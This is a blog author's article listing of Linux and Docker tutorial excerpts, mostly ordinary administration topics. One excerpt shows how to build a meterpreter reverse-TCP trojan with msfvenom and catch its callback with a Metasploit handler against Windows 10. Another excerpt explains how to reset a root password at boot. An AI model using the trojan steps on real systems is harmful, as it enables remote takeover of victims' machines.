linux
文章平均质量分 85
舌耳
一入江湖岁月催
展开
-
flask的dockerfile
需求Debian能运行flask编写目录和dockerfileroot@1:~/dockerfile# tree.├── Dockerfile├── sources.list└── src └── app.py1 directory, 3 filesdockerfile文件如下FROM debian:10.0COPY sources.list /etc/apt/sources.listCOPY src /src/RUN apt-get update &&am原创 2020-10-12 20:26:30 · 835 阅读 · 0 评论 -
puppet使用笔记一
文章目录安装启动看下是什么东西开始写代码在哪写?创建个自己的模块 创建个文件试试安装启动apt install puppet puppet-mastersystemctl restart puppet-master.service puppet看下是什么东西这些配置文件可以熟悉一下root@instance-1:~# tree /etc/puppet//etc/puppet/├── auth.conf├── code│ └── modules├── hiera.原创 2020-09-21 19:29:32 · 423 阅读 · 0 评论 -
ubuntu18.04安装优化传送门
安装wine https://blog.csdn.net/llf_cloud/article/details/81290298金山wps https://blog.csdn.net/qq_14824885/article/details/81286682#commentBox原创 2018-11-05 19:29:18 · 571 阅读 · 0 评论 -
docker image发布
上传至Dockerhub要将镜像发布至Dockerhub的话,首先你需要一个Dockerhub的账户然后在shell中登录docker login输入账号密码然后将可以将自己的image push至自己的Dockerhub中docker push username/exceThe push refers to repository [docker.io/hpb9527/...原创 2018-11-05 13:55:29 · 474 阅读 · 0 评论 -
linux的网络命名空间
创建两个网络命名空间 test1和test2sudo ip netns add test1sudo ip netns add test2查看当前的网络命名空间 会显示出创建出来的test1 test2sudo ip netns list查看当前命名空间的信息 可以看到当前test1的lo是down的sudo ip netns exec test1 ip a打开...原创 2018-11-10 18:23:33 · 276 阅读 · 0 评论 -
docker Bridge0
先创建两个busybox的containers test1和test2 docker network ls #查看docker的网络会发现有一个名为bridge的网络 它就相当于一个交换机 接下来查看bridge的详细信息 docker network inspect bridge的network id可以看到containers块 里面有test1 test...原创 2018-11-10 20:04:30 · 639 阅读 · 0 评论 -
将自己的ubuntu18.04打包成镜像
先下载remastersyswget ftp://ftp.gwdg.de/pub/linux/easyvdr/mirror/remastersys/ubuntu/remastersys/remastersys_3.0.4-2_all.debwget ftp://ftp.gwdg.de/pub/linux/easyvdr/mirror/remastersys/ubuntu/remaster...原创 2018-11-10 10:40:06 · 23730 阅读 · 5 评论 -
基于docker在阿里云上搭建WordPress个人博客
环境 centos7.4安装docker见https://blog.csdn.net/weixin_38280090/article/details/83590192下载imagedocker pull wordpress:latest #下载wordpress在dockerhub发布的最新imagedocker pull mysql:latest #下载mysq...原创 2018-11-01 16:58:35 · 2372 阅读 · 6 评论 -
centos 7开启vnc服务
转自:http://www.cnblogs.com/xieshengsen/p/5848902.htmlCentOS7配置VNC 一.安装以root用户运行以下命令来安装vncserver;yum install tigervnc-server 同样运行以下命令来安装vncviewer;yum install vnc停止并禁用防火墙;systemctl stop...转载 2018-11-19 20:26:00 · 25026 阅读 · 1 评论 -
centos7服务篇 mysql
一.安装准备工作首先是他的安装 我们选择mariadb这个mysql的一个社区版,功能都是一样的很简单[root@hpb ~]# yum install mariadb*接下是启动 [root@hpb ~]# systemctl start mariadb #然后可以查看一下服务的状态,如过没有红色报错的话 大抵是成功的 [root@hpb ...原创 2018-11-28 11:41:25 · 319 阅读 · 0 评论 -
Redhat7/centos7 破解密码
第一重启时按e 在下图这个界面第二linux16”开头这行,将光标移动到最后,输入rd.break console=tty0 ctrl+x保存第三 mount -o remount,rw /sysroot”, 改变“/sysroot”的权限为“读,写”第四chroot /sysroot第五 passwd root第六 touch /.autorelabel第七 ex...原创 2019-04-05 11:19:45 · 329 阅读 · 0 评论 -
’sudo echo x >’ 时’Permission denied’
避免’sudo echo x >’ 时’Permission denied’甲: 示例sudo echo a > 1.txt-bash: 1.txt: Permission denied乙: 分析:bash 拒绝这么做,说是权限不够.这是因为重定向符号 “>” 也是 bash 的命令。sudo 只是让 echo 命令具有了 root 权限,但是没有让 “>” ...转载 2019-04-01 20:14:38 · 193 阅读 · 0 评论 -
centos7 ip配置与链路聚合
ip配置篇ip网络配置文件位于/etc/sysconfig/network-scripts/ifcfg-name #其中name为连接的名称类似于此格式YPE=EthernetPROXY_METHOD=noneBROWSER_ONLY=noBOOTPROTO=dhcpIPADDR=192.168.59.101PREFIX=32GATEWAY=192.168.59.2DE...原创 2019-04-03 08:39:55 · 1464 阅读 · 0 评论 -
最小化安装centos7 无法tab补全
原因:缺少个包解决方法:yum install bash-completion然后重启原创 2019-04-16 08:38:53 · 743 阅读 · 0 评论 -
linux运行级别(init)
0 关机3 字符界面 5 图形化界面 6 重启用的比较多 0:几乎所有进程都关闭,停机状态 1:单用户模式,root账户进行操作 2:多用户,不能使用net file system,一般很少用 3:完全多用户,一部分启动,一部分不启动,命令行界面 4:未使用、未定义的保留模式 5:图形化,3级别中启动的进程都启动,并且会启动一部分图形界...原创 2019-04-23 16:22:53 · 1105 阅读 · 0 评论 -
centos7 搭建hadoop环境
1.最小化安装2.配yum源3.修改为静态ip4.安装java环境5.ssh免密登录6.安装hadoop7.将hadoop分发到各个节点8.启动 查看1.最小化安装centOS下载地址https://www.centos.org/download/安装三台2.配yum源https://blog.csdn.net/weixin_...原创 2019-06-15 15:55:00 · 1705 阅读 · 0 评论 -
自己build 一个docker hello的image
环境ubuntu 18.04安装dockersudo apt updatesudo apt install docker.iocentosyum install docker.io接下来写一个hello程序 并编译成二进制#include<stdio.h>int main(){ printf("hello\n");}$gcc hello.c -o...原创 2018-10-31 20:44:46 · 2188 阅读 · 0 评论 -
kali渗透测试win10
通过msfvenom生成木马msfvenom -p windows/meterpreter/reverse_tcp lhost=自己地址 lport=端口号 -f exe x>XX.exe把木马传过去,点开就会往自己开放的ip和端口发送一个tcp链接在kali中msfconsolemsf > use exploit/multi/handler msf exp...原创 2018-10-29 19:44:50 · 17220 阅读 · 22 评论 -
linux 计划任务at与cron
linux为我们准备了两种计划任务,一种是只执行一次的at计划任务,另一种是周期性执行的cron。 at一次性计划任务用途:在某一固定的时间执行特定命令用法:at 时间 #需要atd服务开启 systemctl start atd 开启服务选项: -m 当计划任务执行结束后发邮件给客户 -l 查看用...原创 2018-08-16 10:18:44 · 1098 阅读 · 0 评论 -
linux常用基本命令(3) 链接文件,压缩打包以及帮助
链接文件软链接可以跨分区链接但是不能将原文件删除硬链接不可以跨分区但是可以删除源文件(硬链接不可以指向文件夹)1.软链接[root@localhost ~]# ln -s test test12.硬链接[root@localhost ~]# ln test/filetest filetest1压缩及解压缩1.gzip描述:压缩与解压缩用法: gz...原创 2018-08-13 23:50:24 · 621 阅读 · 0 评论 -
linux常用基本命令(2) 文件查看
1.cat用途:查看文件内容用法:cat -选项 文件选项:-b 显示行号(空白行不显示) -n 显示行号包括空白行[root@localhost test]# cat -b filetest 1 第1行 2 第2行 3 第3行 4 第4行[root@localhost test]# ...原创 2018-08-13 15:39:26 · 295 阅读 · 0 评论 -
rpm 安装与卸载
rpm (RedHat Package Manager) 红帽软件包工具。在redhat,fedora,novell suse linux enterprise,openSUSE,centos等系统上使用。 用途:安装与卸载软件包用法:rpm -选项 包名选项:-vih 安装 v显示安装过程 h显示安装进度 -q 后跟包名查询指...原创 2018-08-15 22:39:20 · 1612 阅读 · 0 评论 -
linux 分区与挂载
1.磁盘分区传统的MBR分区方式,一块硬盘可以分四个主分区,分配完四个主分区后即使硬盘还有剩余空间也无法再继续分区。如果需要更多地分区那么就需要在扩展分区中创建逻辑分区来实现。 fdisk[root@localhost ~]# fdisk -l #查看磁盘分区表磁盘 /dev/sda:21.5 GB, 21474836480 字节,...原创 2018-08-15 19:55:31 · 149 阅读 · 0 评论 -
redhat 搭建本地yum仓库并安装python3
#更换阿里云的源https://blog.csdn.net/weixin_38280090/article/details/830385591.挂载光盘[root@localhost yum.repos.d]# mount /dev/sr0 /mntmount: /dev/sr0 is write-protected, mounting read-only2.配置本地源文件...原创 2018-08-15 19:25:39 · 1206 阅读 · 0 评论 -
linux常用基本命令(1) 目录及文件操作
1. pwd用途:显示当前工作目录的名称用法:pwd [选项]选项:-P 显示链接的真实路径 #或-LP[root@localhost test1]# pwd/root/test1[root@localhost test1]# pwd -P #test1为目录test的软链接/root/test2.cd用途:cd命令的作用是切换当...原创 2018-08-13 11:32:41 · 573 阅读 · 0 评论 -
linux 账户与组
1.账户及组的基本介绍 linux系统对账号和组的管理都是通过ID号实现的。当登录时,输入的用户名都会被转化成ID号,判断该账号是否存在并与密码进行比对。用户ID叫做UID,组ID叫做GID。root的UID为0。 1—499之间的ID号为系统预留,我们创建的普通用户从500开始。linux的组分为基本组和附加组,一个用户同一时刻仅可以进入同一个基本组,但可以在多个附加...原创 2018-08-14 11:14:11 · 224 阅读 · 0 评论 -
linux 性能监控
监控cpu的使用情况——uptime用途:打印当前时间,系统运行时间,当前登录用户以及cpu负载[root@localhost ~]# uptime 20:24:06 up 9:56, 3 users, load average: 0.00, 0.01, 0.05 1分钟 5分钟 10分钟...原创 2018-08-16 12:08:30 · 334 阅读 · 0 评论 -
正则表达式
字符类字符 含义 举例. 匹配任意一个字符 abc.可以匹配到 abcd,abc9 等等[] 匹配括号中的任意一个字符 [abc]d 可以匹配到ad,bd,cd。- ...原创 2018-08-22 12:04:45 · 121 阅读 · 0 评论 -
centos7 更换阿里源
切换到/etc/yum.repos.d/ 并备份原本的yumcd /etc/yum.repos.d/mv CentOs-Base.repo CentOs-Base.repo.bak下载阿里云的yumwget http://mirrors.aliyun.com/repo/Centos-7.repomv Centos-7.repo CentOs-Base.repo...原创 2018-10-13 14:54:14 · 4351 阅读 · 1 评论 -
linux添加环境变量
首先写一个可执行程序,比如hello #include "stdio.h" int main(){ printf("hello"); return 0;}然后将它编译成二进制可执行文件gcc hello.c -o hellolinux命令行下面执行某个命令的时候,首...原创 2018-09-20 07:57:34 · 2302 阅读 · 0 评论 -
centos7 vsftpd
使用端口TCP21 命令TCP20 数据 模式被动模式/passive/pasv方式主动模式/standard/port方式,服务器使用20端口连接客户端 主动模式FTP: 主动模式下,FTP客户端从任意的非特殊的端口(N > 1023)连入到FTP服务器的命令端口--21端口。然后客户端在N+1(N+1 >= 1024)...原创 2018-09-19 20:19:40 · 637 阅读 · 0 评论 -
smaba(smb)(附实例)
Samba服务---SMB协议 在windows当中我们最常见的就是网上邻居可以看到同一互联网上连接的所有用户在服务器端,linux与window Server相比的稳定性,安全性执行效率以及性价比都是较高的。所以好多window Server下跑的一些服务都会切换到运行在linux服务上,但是对于一些桌面用户来说用到的较多的就是文件共享协议。而在linux中我们可以使用 FTP NFS...原创 2018-09-09 17:25:14 · 1747 阅读 · 0 评论 -
NFS文件共享(net file system)
一. NFS服务介绍1.1什么是NFS服务NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样,也就是说客户端PC可以挂载NFS服务器所提供的目录并且挂载之后这个目录看起来如同本地的磁盘分区一样,可...原创 2018-09-09 11:13:34 · 1367 阅读 · 0 评论 -
德才论
题目描述宋代史学家司马光在《资治通鉴》中有一段著名的“德才论”:“是故才德全尽谓之圣人,才德兼亡谓之愚人,德胜才谓之君子,才胜德谓之小人。凡取人之术,苟不得圣人,君子而与之,与其得小人,不若得愚人。”现给出一批考生的德才分数,请根据司马光的理论给出录取排名。 输入描述:输入第1行给出3个正整数,分别为:N(<=105),即考生总数;L(>=60),为录取...原创 2018-08-28 14:05:05 · 314 阅读 · 0 评论 -
find详解
由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只要你具有相应的权限。在运行一个非常消耗资源的find命令时,很多人都倾向于把它放在后台执行,因为遍历一个大的文件系统可能会花费很长的时间(这里是指30G字节以上的文件系统)。一、find 命令格式1、find命令的一...原创 2018-08-23 13:35:21 · 2216 阅读 · 0 评论 -
grep 详解
1,作用Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展,支持更多的re元字符...原创 2018-08-22 13:40:36 · 359 阅读 · 0 评论 -
vim 基本用法
vim插入模式 a 光标后 A 行尾 I 行首 o 光标所在行下一行 O 光标所在行上一行 i ...原创 2018-08-14 08:42:05 · 2246 阅读 · 0 评论